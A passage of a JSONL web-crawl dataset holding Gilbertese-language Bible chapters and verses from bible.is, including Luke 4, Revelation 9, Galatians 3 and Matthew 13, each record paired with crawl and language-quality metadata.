0.9996994733810425}","num_words":797,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:5\n5 ao te kaantaninga e aki kamaamaea te aba, ibukina bwa e a tia ana tangira te Atua n nurakinaki nako nanora iroun te Taamnei are e Raoiroi, are ti a tia n anganaki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/5","date":"2013-05-22T01:52:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701063060\/warc\/CC-MAIN-20130516104423-00073-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999681711,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999681711196899}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:24\n24 Kam aki ataia bwa mai buakoia aomata ni kabaneia ake a ira te kaboo biri mwaaka n te tabo ni biri, ao bon ti temanna ae e na reke irouna te kaniwanga? Kam na biri bwa e aonga n reke iroumi.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/24","date":"2013-05-23T20:17:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703748374\/warc\/CC-MAIN-20130516112908-00091-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999910593032837}","num_words":61,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngke E oki Iesu man te karaanga are te Ioretan ao E kaonaki n te Taamnei are e Raoiroi. E kairaki iroun te Taamnei nakon te rereua. 2 Ao E tiku ikekei abwi te bong ni kariiriiaki iai iroun te riaaboro. Akea te baeE kanna i nanoni boong akanne; ao ngke a bane boong akanne, ao E rootaki n te baki. 3 E taku te riaaboro nakoina, Ngkana Natin te Atua Ngkoe, ao taetae bwa e na riki n amwarake te atiibu aei. 4 Ao Iesu E kaeka ni kaangai, E koreaki ae e kaangai, E aki maiu te aomata n ti te amwarake. 5 Ao te riaaboro e kaira rake Iesu nakon te tabo ae e rietaata, ao e kaoti nakoina n te tai ae e waekoa aaba nako n te aonnaba, 6 Ao e taku nakoina, N na anganiko aaba akekei ma tamaaroaia; bwa I a tia n anganaki, ao I konaa n anga nakon ane I kan anganna. 7 Am bwai baikekei ni kabane ngkana Ko bobaraaki n taromauriai. 8 Ao Iesu E kaeka ni kaangai, E koreaki ae kaangai, Ko na taromauriia te Uea ae Atuam, ao ko na toro irouna n ti Ngaia. 9 Ao e kaira Iesu te riaaboro nako Ierutarem, ao e kateia i aon te tabo ae te kabanea n rietaata i taubukin te umwantabu, ao e taku nakoina, Ngkana Natin te Atua Ngkoe, ao Ko na ewe nako maikai; 10 bwa e koreaki ae e kaangai, Ane E na tuangiia ana anera bwa a na kaawakiniko, 11 ao ane a na uotiko i aoni baiia, bwa e kaawa n toki waem n te atiibu. 12 Ao Iesu E kaeka ni kaangai, E atongaki ae e kaangai, Ko na aki kataa te Uea ae Atuam. 13 Ao ngke a bane ana mwakuri ni kariirii te riaaboro, ao e kiitana Iesu ni karokoa manga reken ana tai ae e na angaraoi. 14 Ao E okira Kariraia Iesu ni mwaakan ana kairiiri te Taamnei, ao e buta nako rongorongona i aoni Kariraia ao n taabo ake i rarikina. 15 Ao E reirei ni mwaneabaia I-Iutaia, ao a bane aomata ni kamoamoaa. 16 Ao E roko i Natareta, are te tabo are E kaikawaaki iai; ao n aron are E kaakaraoia, E nako ni mwaneabaia I-Iutaia, n te bong ae te taabati, 17 ao E anganaki ana boki te buraabeti are Itaia. E kabwaraa te niira ni boki, ao e reke irouna te tabo are e koreaki iai ae e kaangai, 18 E mena Taamnein te Uea i aou, ibukina bwa e a tia n rineai bwa N na tataekina te rongorongo ae e raoiroi nakoia akana aki kaubwai. E kanakoai bwa N na tuangiia ake a riki bwa taenikai kainaomataaia, ao ake a mataki bwa a na manga nooraaba, ao bwa N na buokiia ake a karawaawataaki bwa a na tokanikai i aoni baike a karawaawataaki iai, 19 ao N na katanoataa ae e kaangai bwa n te ririki aei ao E na kaota ana aakoi te Atua nakoia aomata. 20 E niira te boki Iesu, ao E a manga angan te tia kaawakinna, ao E tekateka; ao aomata ake a mena ikekei a bane ni katokai mataia n taraia. 21 Ao ngkanne E taku nakoia, N te bong aei, ao e a kakoroaki iai nanon taeka aika koreaki n te mwakoro ni Baibara aei n aron are kam a tia n ongo iai ngke e warekaki. 22 A bane aomata ni kaoti kukurein nanoia irouna n aia taeka, ao a miimii n taeka aika nako mai wiina bwa a kamaiu nano; ao a taku, Tiaki natin Iotebwa Teuaei? 23 Ao E taku nakoia, ane kam na bon tabeki nakoiu mwanewen te taeka n rabakau ae e kaangai, Te tia katoki aoraki, kamaiuko; te baere ti ongo bwa Ko karaoia i Kaberenaum, ao Ko na karaoia naba ikai i abam. 24 E a manga taku riki nakoia, E koaua ae I taku nakoimi, bwa akea te buraabeti ae e butimwaaeaki raoi n oin abana. 25 Bon te koaua ae I tuangkami, bwa a mwaiti aine ake a mate buia i aon Iteraera n ana tai Eria, ngke e aki bwaka te karau i nanon tenua te ririki ao onoua namwakaina, ao e roko te rongo ae e korakora i aon te aba ni kabutaa; 26 ao e kanakoaki Eria tiaki nakoia ni kabaneia ma ti nakon te aine are e mate buuna are e maeka i Tarebwata n te aba are Titon. 27 Ao a mwaiti reebera i aon Iteraera n ana tai te buraabeti are Eritai, ma e kamaiuaki ti temanna mai buakoia bwa Naaman mai Turia. 28 A rangi n un aomata ake a mena ni mwaneabaia I-Iutaia, ngke a ongo ana karaki aikai. 29 Ao a tei rake, ao a kanakoa Iesu man te kaawa. A kairia nakon te tabo ae e katati ae rarikin te tabuki are e tei i aona aia kaawa, bwa a na karenakoa maiai. 30 Ma E ri buakoia Iesu ao E nako. 31 Ao E nako Kaberenaum are kawaani Kariraia, ao E reireia aomata iai n te taabati; 32 ao a miimii n ana reirei, bwa e mwaaka ana taeka. 33 Ao i nanoni mwaneabaia I-Iutaia, iai te aomata ae e reke irouna taamnein te taimonio ae e kamwaraa. E takaarua n te bwanaa ae e korakora ni kaangai: 34 A! Tera am bwai iroura, Iesu ae te I-Natareta? Ko nako mai bwa Ko na uruira? I kinako bwa Teuare e Raoiroi, are mai iroun te Atua. 35 Ma Iesu E takuia ao E taku, Tai karongoaa, ao oti nako mai irouna! Ao ngke e a tia te taimonio ni bouaa teuarei i mataia aomata ake a mena ikekei, ao e oti nako mai irouna n aki kaikoakia. 36 A bane ni miimii aomata ao a i taetae irouia ni kaangai, Te aeka n taeka tera te baei? Bwa n ana konaa ao ni mwaakana, ao E tuangiia anti aika kamwaraa bwa a na oti nako, ao a ongo irouna. 37 Ao e buta nako taekan Iesu ni kaawa ake i rarikini Kaberenaum. 38 Ao E tei rake Iesu ao E kiitana mwaneabaia I-Iutaia, ao E rin n ana auti Timon. E aoraki tinani buun Timon n te kabuebue ae e korakora, ao a tuangnga bwa E na buokia. 39 E tei Iesu ni kaan ma rarikina ao E taetae ma bwanaana ae e matoatoa nakon te kabuebue, ao e toki kabuebuen neierei; ao e tei rake naba ngkekei ao e touati irouia. 40 Ngke e a bungi taai, ao a bane aomata ake iai irouia aia aoraki n uotiia nakoina; ao E katokai baina i aon temanna ma temanna ao a kamaiuaki. 41 A oti nako naba taimonio mai irouia aomata aika bati, ao a takaarua ni kaangai: Bon Natin te Atua Ngkoe! Ma E takuia bwa a na akea te bwai ae a na taekinna, ibukina bwa a ataia n ae te Kristo Ngaia. 42 Ngke e a ngaina, ao E nako Iesu nakon te tabo ae akea te maeka iai. A kakaaea aomata, ao ngke a roko irouna, ao a kan taua bwa E na aki nako mai irouia. 43 Ma E taku nakoia, I riai n taekina te rongorongo ae e raoiroi ae taekan uean te Atua nakoni kaawa nako; bwa aei bukini kanakomaiakau. 44 Ao E waakina taetaekinan ana taeka te Atua i nanoni mwaneabaia nako I-Iutaia i nanoni kaawa nako.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/4","date":"2013-06-20T10:05:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711406217\/warc\/CC-MAIN-20130516133646-00095-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1198,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ao te anera are te kaniiman e katanga ana bu, ao I noora te itoi ae e bwaka mai karawa nako aon te aba; ao e anganaki kiingini bonotani matan te bwangabwanga are e ruo rikaaki nako Abuto. 2 E kauka bonotani matan te bwangabwanga are e ruo rikaaki nako Abuto, ao e oti nako maiai te bubu ae ai aroni bubun te tabo ni kanaiai ae e korakora, ao e karooaki taai ma te ang n te bubu ae e nako man te bwangabwanga arei. 3 Ao a oti nako rokati man te bubu arei nako aon te aba, ao a anganaki te konaa ni kammaraka te aba n ai aroia tikaobian. 4 A tuangaki bwa a na aki urua uteuten aon te aba, ma te kai nako ae e maawaawa baana, ma aroka; ma a na ti kammarakia aomata akana akea i aon ramwaia ana kanikina te Atua. 5 A kariaiakaki rokati akekei bwa a na bwainikiriniia ni kammarakia i nanon nimaua te namwakaina, ma a na aki kamateia; ao marakiia ai aroni marakin te aomata are e tenaaki n te roata ae e buubura ae te roata n ni. 6 I nanoni bongin namwakaina akana nimaua akanne ao a na kakaaea te anga ae a na mate iai, ma akea ae e na reke irouia: a tangira te mate, ma e biri nako te mate mai irouia. 7 Rokati akekei kaanga ai aroia aoti ake a tauraoi nakon te buaka: a toka i aon atuuiia baika kaanga ai aroni baunuea aika koora, ao ubuia ai aron taraan ubuia aomata; 8 iran atuuiia ai aron iran atuuiia aine, ao wiia ai aroni wiia raian; 9 a katokai i aoni bwabwaia baika kaanga ai aroni biiti bwa otangaia; ao rurungaani baiia ni kiba kaanga ai aron rurungaani kaa-ni-buaka aika a bati aika a katikaki irouia aoti ngkana a biribiri nakon te buaka. 10 Iai bukiia rokati akekei aika ai aronibukin te tikaobian ae iai te boitin iai, are a konaa iai ni kammarakia aomata i nanon nimaua te namwakaina. 11 Iai aia uea bwa aneran te tabo are Abuto. Aran te anera anne n te taetae n Ebera bon Abaton, ao n te taetae n Erene Aboruon. 12 E a tia n roko te moa n rekenikai; nooria, ane a na roko riki rekenikai aika uoua. 13 Ao te anera are te kaonoman e katanga ana bu, ao I ongo te bwanaa a teuana mani kooro ake koron te baonikarea are te koora, are i matan te Atua, 14 ngke e kaangai nakon te anera are te kaonoman are iai irouna te bu, Ko na kabwaraia anera ake aman ake a kabaeaki i rarikin te karaanga are e abwaabwaki are Iuberetiti. 15 Ao a kabwaraaki anera ake aman, ake a katauraoaki i mwaain te aoa ma te bong ma te namwakaina ma te ririki, are a na kamateia iai kateni-mwakoroni mwaitiia aomata. 16 Ao I ongo bwa mwaitiia taani buaka ake a toka i aoia aoti bon uabubua te mirion. 17 I nooriia aoti ma ake a toka i aoia, ni miu, bwa aikai aroia: iai otangani bwabwaaia aika a uraura n ai aron uraurani matan te ai, ao aika a buruu n ai aron te uakinto ao aika a babobo n ai aron te burimton; ao atuuiia aoti ai aron atuuiia raian, ao a oti nako mai wiia te ai ma bubuna ma te burimton. 18 A kamateaki kateni-mwakoroni mwaitiia aomata ni baikai, aika baika a kamaamate aika teniua, ae te ai, ao te bubu n ai, ao te burimton, aika a oti nako mai wiia. 19 Bwa a mena mwaakaia aoti aikai ni wiia ao ni bukiia: bwa bukiia ai aroia naeta aika iai atuuiia, ao a kaikoakiia aomata iai. 20 Ao aomata ake tabemwaang, ake a aki kamateaki ni baike a kamaamate, a aki rairaki ni kiitani baike a karaoi n oini baiia, bwa a aonga n toki man aroia n taromauriia taimonio, ma bouananti aika koora ma aika tirewa ma aika buraati ma aika atiibu ma aika kaai aika a aki konaa te nooraaba, ma te ongo, ma te nakonako; 21 ao a aki rairaki ni kiitan aroia ni kamaamate, ma n tabunea, ma ni kaibwabwaru, ma ni kimoa.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/9","date":"2013-05-21T12:11:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699977678\/warc\/CC-MAIN-20130516102617-00018-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":684,"character_repetition_ratio":0.054,"word_repetition_ratio":0.003,"special_characters_ratio":0.232,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I-Karatia aika kam nanobaba, antai ae e mwaamwanaaingkami, ngkami aika E kaotaki raoi taekani Iesu Kristo i matami, bwa E tauraki n te kaibangaki? 2 Ti aei te bae I kan ataia mai iroumi, Kam anganaki te Taamnei ibukina ngke kam karaoi baika a tangiraki n te Tua, ke ibukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? 3 E aera ngkai kam konaa n nanobaba n aromi anne? Kam moana maiumi n onimaki iroun te Taamnei, ao ngkai kam nang kakororaoia n te aro n rabwata? 4 A matebuaka bwaai ake a tia n riki nakoimi? A bon aki matebuaka. 5 Ma ngaia aei, bwa Teuare e anganingkami te Taamnei, ma ni karaoi naba mwakuri aika a mwaaka i buakomi, E karaoi ibukina ngke kam karaoi baika a tangiraki n te Tua, ke ibukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? 6 Ngke e onimakina te Atua Aberaam, ao e a riki ana onimaki bwa kaetan reitakina ma te Atua. 7 Ma ngaia ae kam na ataiia aika a onimaki, bwa bon natin Aberaam. 8 E a kaman ataia te Baibara, bwa te Atua E na karekea reitakiia aomata aika tiaki I-Iutaia ma Ngaia n te onimaki; ao e taekina te euangkerio nakon Aberaam rimoa, ao e kaangai, A na bane ni kabwaia bootanaomata iroum; 9 ma ngaia ae a uaia ni kabwaia aika a onimaki ma Aberaam are e onimaki. 10 Bwa a nangi reke kaiia aomata aika a bati aika a karaoi baika a tangiraki n te Tua; bwa e a tia ni koreaki ae kaangai, E na reke kain te aomata ae aki teimatoa ni karaoi bwai ni kabane ake a koreaki ni bokin te Tua. 11 Ma e ataaki bwa akea te aomata i matan te Atua ae e eti reitakina ma Ngaia n te Tua, bwa e kaangai te Baibara, E na maiu ane e kaetaki reitakina ma te Atua n te onimaki. 12 Ma te Tua tiaki man te onimaki; ma te aomata ane e karaoi baika a tangiraki n te Tua, e na maiu iai. 13 E kainaomataira Kristo man te rekenikai are n te Tua, ngkae E karaoa are E na reke kaina iai i bukira, bwa e koreaki ae e kaangai, E a reke kain te aomata ae e tauraki n te kai: 14 bwa e aonga n reke kakabwaian Aberaam irouia aomata aika tiaki I-Iutaia irouni Kristo Iesu, ao bwa e aonga n reke iroura n te onimaki te Taamnei are e atongaki n te taeka n akoi. 15 Taari, N na taekina te bwai ni kakairi man te bae e noonooraki irouia aomata: bon akea temanna ae e konaa n urua ke ni karakaa riki taekan aia booraraoi aomata aika uoman, ngkana a a tia ni karaoia. 16 A atongaki taian taeka n aakoi nakon Aberaam ao nakon ana kariki—ni kaotia bwa e aki nanonaki iai aomata aika a bati—ma e kaangai, ao nakon am kariki—ni kaotia bwa ti temanna ae e nanonaki iai, bwa Kristo. 17 Aei te bae I nanonna n au taeka: te Tua are e roko abubua ma teningaun te ririki i mwiin te booraraoi are e kamatoaaki iroun te Atua, e aki urua te booraraoi anne, ao e aki kamauna te taeka n akoi. 18 Bwa ngkana e reke te kakabwaiaaki n te Tua, ao nanona ngkanne bwa e aki reke n te taeka n akoi; ma te Atua E angan Aberaam ibukin ana taeka n akoi. 19 Tera ngkanne manenan te Tua? E roko te Tua bwa raon te booraraoi, ao e boongana ibukin taiani bure, ni karokoa rokon Temanna n ana kariki Aberaam, are E anganaki te taeka n akoi. E anganaki te aba te Tua irouia anera ni bain te aomata ae te tia itoman i marenan te Atua ma aomata. 20 Ma e aki kainnanoaki te tia itoman ngkana ti temanna te aomata ae e na tabe ma ngaia; ao te Atua bon ti temanna. 21 E eki nako ngkanne ana taeka n aakoi te Atua te Tua? E bon aki; bwa ngke arona bwa e anganaki te aba te tua ae e konaa te kakamaiu, ao a konaa ngkanne n reke reitakiia aomata ni kabaneia ma te Atua n iran nanon te tua anne. 22 Ma e taku te Baibara bwa a bane aomata nako ni mena i aani mwaakan te bure; ma ngaia are ana taeka n aakoi te Atua bon i bukiia akana a onimakina Iesu Kristo. 23 Ma i mwaain rokon te onimaki, ao ti kaawakinaki bwa kaanga buure ngaira i aani mwaakan te Tua ni karokoa ae e kaotaki te onimaki. 24 Ma ngaia ae e riki te Tua bwa te tia reireiniira arora ni karokoa ae E roko Kristo, bwa aonga n reke reitakira ma te Atua n te onimaki. 25 Ma ngkae e a roko te onimaki, ao ti a aki manga mena i aan ana kairiiri te tia reireinira. 26 Bwa kam a riki bwa natin te Atua ngkami ni kabaneingkami n onimakinan Kristo Iesu. 27 Bwa ngkami ni kabaneingkami akana kam bwaabetitooaki nako nanoni Kristo, kam a karina Kristo i aomi bwa kaanga ai aron te kunnikai. 28 Akea kaokoron te I-Iutaia ma te I-Erene i nanoni Kristo, ao akea kaokoron te toro ma te aomata ae e inaomata, ao akea naba kaokoron te mwaane ma te aine: bwa ti temanna ngkami ni kabaneingkami i nanoni Kristo Iesu. 29 Ngkana ana bwai Kristo ngkami, ao boni kanoan Aberaam ngkami, ao kam na bwaibwai n te taeka n aakoi arei.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3","date":"2013-05-21T12:47:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699977678\/warc\/CC-MAIN-20130516102617-00007-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":894,"character_repetition_ratio":0.064,"word_repetition_ratio":0.027,"special_characters_ratio":0.234,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 N te bongi naba arei, ao E nako Iesu man te auti, ao E tekateka i rarikin te nama. 2 Ao a bootaki aomata aika a mwaiti i rarikina, ma ngaia are E toka n te booti ao E tekateka iai, ao a tei aomata n ua kaan ma mataniwiin te nama. 3 Ao E atongi baika a bati nakoia n taeka ni kabootau, ao E kaangai, Noria, e oti nako te tia unuuniki ni kamaae koraa n uniki. 4 Ao ngke e kamaae, ao a bwaka tabeua ri rarikin te kawai, ao a roko mannikiba ni kang. 5 A bwaka tabeua i aon ae e riribwaa, ike e aki bati te tano iai, ao a kai riki bwa e mani te tano; 6 ma ngke e kaboo rake taai, ao a urarake; a mate ibukina ngke a aki roro nako wakaaiia. 7 Iai koraa ake a bwaka i buakoni kaai aika kateketeke; a rikirake kaai aika kateketeke, ao a karibwai aroka ake a unikaki. 8 A bwaka tabeua koraa i aon te tano ae e raoiroi, ao a riki bwa aroka aika uaa: tabekai tatabebubua uaaia, ao tabekai kaka onobwi, ao tabekai kaka tenibwi. 9 Ane iai taningana, ao ke e ongo. 10 A roko ngkanne ana reirei Iesu, ao a taku nakoina, E aera ngkai Ko taetae nakoia n taeka ni kabootau? 11 Ao E kaekaia ni kaangai, Kam a tia n anganaki baika a raba aika bwain uean te Atua; ma ngaiia, a tuai n anganaki. 12 Bwa ane iai irouna te atatai ni baika a raba aika bwain uean te Atua, ao e na anganaki riki, ao e na reke irouna ni bati; ma ane akea irouna ao e na anaaki mai irouna are iai, e aoria ngkana e rangi n uarereke. 13 Aei bukin ae I taetae iai nakoia n taeka ni kabootau: bwa a taratara ma a aki nooraaba; ao a bon ongo ma a aki ongo, ao a aki ataia. 14 E a kakoroaki irouia nanon ana taeka Itaia, are e kaangai: Ane kam na ongoraa ma n ongoraa, ma kam na aki atatai, ao kam na taratara ma n taratara, ma kam na aki nooraaba. 15 Bwa e a reke irouia aomata aikai te roo n nano, ao a rawa taningaia ni kan ongo, ao a kamatakiiaki mataia: bwa a kaawa n nooraaba ni mataia, ao n ongoraa n taningaia, ao n atatai n nanoia, ao n rairaki bwa N na kamaiuiia. 16 Ma a a kabwaia matami bwa a nooraaba; ao taningami bwa a ongo. 17 E koaua ae I a tuangkami bwa a bati buraabeti ma aomata aika a raoiroi, ake a kan noori baika kam noori ao a aki noori; ao a kan ongo baika kam ongo, ao a aki ongo. 18 Kam na ongoraa ngkanne ni kabwarabwaraan nanon te rongorongo ni kabootau are taekan te tia unuuniki. 19 Ngkana e ongo taekan uean te Atua te aomata ao e aki ataa nanona, ao e roko iai teuare e buaakaka n anaa are e a tia n unikaki i nanona; aei te koraa are e unikaki ri rarikin te kawai. 20 Ao are e unikaki i aon te riribwaa bon ane e ongo ana taeka te Atua ao e butimwaaia naba ma te kukurei; 21 ma akea wakaana i nanona, ao e aki tiku ni maan; ao ngkana e roko te kaangaanga ke te bwainikiriinaki ibukin ana taeka te Atua, ao e a bwaka naba. 22 Ao are e unikaki i buakoni kaai aika a kateketeke bon ane e ongo ana taeka te Atua; ma iango n raraoma nako ibukini bwain te maiu aei ma mataaiakinani kaubwaina a karibwaa te taeka, ao e aki kariki uaa. 23 Ao are e unikaki n te tano are e raoiroi bon ane e ongo ana taeka te Atua ao e ataa nanona; ao e kaoti uaana bwa tatabebubua ke kaka onobwi ke kaka tenibwi. 24 E a manga tuangiia te rongorongo ni kabootau teuana, ao E kaangai, Uean te Atua e konaa ni kabootauaki ma te aomata are e uniki koraa n uiita aika a raraoi i abana; 25 ma ngke a matuu aomata, ao e roko ana kairiribai ao e uniki koraan titaania i buakoni koraa n uiita, ao e nako. 26 Ma ngaia are ngke a rikirake aroka ao a uaa, ao a tibwa kinaaki iai ngkanne titaania i buakoia. 27 Ao a roko ana toro teuare e unuuniki, ao a taku nakoina, Te toka, tiaki ko uniki koraa ake a raraoi? Ao a roko maia titaania? 28 Ao e taku nako ia, E a tia ni karaoa aei te tia kairiribai. A taku tooro nakoina, Ko tangiriira bwa ti na nako n taeki? 29 Ao ngaia e taku, I aki; bwa a kaawa ni koutaki nako uiita ngkana kam taeki titaania. 30 Katikuia bwa a na uaia n rikirake ni karokoa tain te tai; ao ni bongin te tai, ao I a tuangiia taan rikoriko ni kaangai, Booti moa titaania, ao kabaei ni bwabwati bwa a na kabuokaki; ma ikoti uiita nakoni nnen au amwarake. 31 E a manga tuangiia te rongorongo ni kabootau teuana, ao E kaangai, Uean te Atua ai aron uaan te mwaakeke, are e anaia te aomata ao e unikia i abana; 32 bon te kabanea n uarereke i buakon uaa nako, ma ngkana e a ikawai ao e riki bwa te aroka ae moan te buubura i buakon aroka nako. E a riki bwa te kai are a roko iai mannikiba ni karaoi ngaoia i aoni mwaangana. 33 E a manga tuangiia te rongorongo ni kabootau teuana, ao E kaangai, Uean te Atua ai aron te iiti, are e anaia te aine ao e renganna ma te buraawa ae tao nimabwi te bwauna rawaawatana, ao e kabanea ni karikirakea te buraawa. 34 E atongi baikai ni kabane Iesu nakoia aomata n taeka ni kabootau: bwa E tatangiria ni kani kakamanenaa te taeka ni kabootau ngkana E reireiniia aomata; 35 bwa e na kakoroaki bukin are e atongaki iroun te buraabeti, ngke e kaangai: Na kaboonganai taeka ni kabootau ngkana I taetae;na taekini baika a karabaaki mani moani karikan aonnaba. 36 E kiitaniia aomata Iesu, ao E nako n rin n te auti. Ao a roko ana reirei irouna, ao a taku, Ko na kaota nakoira nanon te rongorongo ni kabootau are taekaia titaania ake ni nen uiita. 37 Ao E kaekaia ni kaangai, Teuare e uniki uaa aika a raraoi bon Natin te Aomata; 38 nnen aroka bon te aonnaba; ao uaa ake a raraoi bon aomata aika kaain uean te Atua; titaania bon te koraki ake ana aomata teuare e buaakaka, 39 ao te kairiribai are e uniki titaania bon te riaaboro; bongin te tai bon tokin aonnaba, ao taan tai bon anera. 40 Ao aron titaania, ngkai a bootaki ni kabuokaki n te ai, ao ai aroia naba te koraki ake ana aomata teuare e buaakaka: a na bootaki ao a na kabuokaki n te ai n tokin aonnaba. 41 Ane E na kanakoia ana anera Natin te Aomata, ao a na bootiia mai buakoia kaain ueana te koraki ake a riki bwa taani kabwakabwaka nakoia aomata, ao koraki ni kabane ake a kaakaraoa ae e buaakaka; 42 ao ane a na teweia nako nakoni nnen te ai, ike a na tang ao a na tenai riaia iai bwa kaotan ae a rootaki n te maraki ae e korakora. 43 Ao ane a na raneanea akana a raoiroi n ai aron taai n uean Tamaia. Ane iai taningana, ao ke e ongo. 44 Uean te Atua ai aron te bwai ae e kakaawaki are e karabaaki n te tabo teuana, ao te bwai are e kunea te aomata temanna ao e karabaa; i nanoni kukureina ao e nako ni kaboo nako ana bwai ni kabane, ao e kabooa te aba are e karabaaki iai te baerei. 45 Ao aio riki: uean te Atua ai aron te tia boobwai are e ukoukori moomii aika a raraoi; 46 ngke e kunea te moomii teuana ae e bati boona, ao e nako ni kaboo nako ana bwai ni kabane, ao e kabooa te moomii ni booia. 47 Ao manga aio: uean te Atua ai aron te karaun are e kabwakaaki i nanon te nama, ao a reke iai iika n aekaia nako; 48 ao ngke e on, ao a katikia rake aomata ao a tekateka ni kaokoroi iika ake a raraoi ni kaaki i nanoni bwaene, ao a tetewe nako ake a bubuaka. 49 Ao ai arona naba n tokin aonnaba. Ane a na roko anera ao a na kaokoroia akana a buaakaka ma akana a raoiroi, 50 ao a na teweia nako ni nnen te ai, ike a na tang ao a tenai riaia iai bwa kaotan ae a rootaki n te maraki ae e korakora. 51 Kam atai nanoni bai kai ni kabane? A taku nakoina, Eng. 52 Ao E taku nako ia, Ma ngaia aei, bwa te tia koroboki ae e reireiaki bwain uean te Atua, ai aron te aomata ae iai ana auti, ao te aomata arei e kaotinakoi bwaai aika a boou ma bwaai nikawai mani nnen ana bwai. 53 Ao Iesu, ngke E a tia n atongi taeka ni kabootau aikai, ao E kiitana ikekei. 54 Ao ngke E roko n ana kaawa, ao E reireiia aomata i nanoni mwaneabaia, ao a miimii aomata ake a ongoraa irouna ao a taku, E reke maia iroun Teuaei te rabakau aei ma te konaa ni karaoi mwakuri aika a kamiimii aikai? 55 Tiaki natin te kaabenta Teuaei? Tiaki aran tinana Nei Maria? Ao tiaki tarina Iakobo, ma Iotebwa, ma Timon, ma Iuta? 56 Ao tiaki mwaanena aika a raora ni maeka? A reke maia ngkanne iroun Teuaei baikai ni kabane? 57 Ao a ribaia. Ma E taku Iesu nako ia, Iai karinean te buraabeti n taabo nako, ma akea i abana, ao i nanoni mwengana. 58 Ao E aki kabatiai ni karaoi mwakuri aika a kamiimii iai ibukina ngke a aki onimakinna.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/13","date":"2013-05-25T01:04:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705305291\/warc\/CC-MAIN-20130516115505-00070-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1614,"character_repetition_ratio":0.056,"word_repetition_ratio":0.027,"special_characters_ratio":0.245,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:12\n12 Ma ae I karaoia ao N na boni karaoia naba, bwa I aonga ni katoki wiia te koraki ake a taku bwa n aia mwakuri are a kamoamoaia iai ao bon ti te bo aroia ni mwakuri ma arora.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/12","date":"2013-05-25T01:11:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705305291\/warc\/CC-MAIN-20130516115505-00072-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000005841255188}","num_words":59,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Mai iroun Iakobo, ae ana toro te Atua ma te Uea are Iesu Kristo; nakoia ana aomata nako te Atua ake a uamaae i aonnaba; kam na mauri. 